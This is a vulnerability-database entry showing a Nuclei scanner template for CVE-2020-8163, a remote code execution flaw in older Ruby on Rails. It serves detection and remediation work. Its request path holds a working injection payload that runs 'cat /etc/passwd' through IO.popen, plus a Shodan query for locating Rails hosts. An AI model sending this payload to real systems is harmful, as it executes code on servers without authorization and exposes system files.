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Ruby on Rails <5.0.1 - Remote Code Execution

🗓️ 03 Jul 2026 13:39:16Reported by ProjectDiscoveryType 
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Ruby on Rails <5.0.1 - Remote Code Execution vulnerability, allows unauthorized remote code execution

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id: CVE-2020-8163

info:
  name: Ruby on Rails <5.0.1 - Remote Code Execution
  author: tim_koopmans
  severity: high
  description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized remote code execution.
  remediation: |
    Upgrade Ruby on Rails to version 5.0.1 or above.
  reference:
    - https://hackerone.com/reports/304805
    - https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
    - https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-8163
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2020-8163
    cwe-id: CWE-94
    epss-score: 0.83085
    epss-percentile: 0.99636
    cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: rails
    shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
  tags: cve,cve2020,rails,rce,hackerone,rubyonrails,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402203e46b1c7383764e48794e419197308aeeef534443623792f9914045e3add757b02206442a22e8ef47e8e087e8473816bae09a7e78e66b575b60450fc565eac3b063e:922c64590222798bb761d5b6d8e72950

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04 Feb 2026 07:00Current
7.7High risk
Vulners AI Score7.7
CVSS 26.5
CVSS 3.18.8
EPSS0.83085
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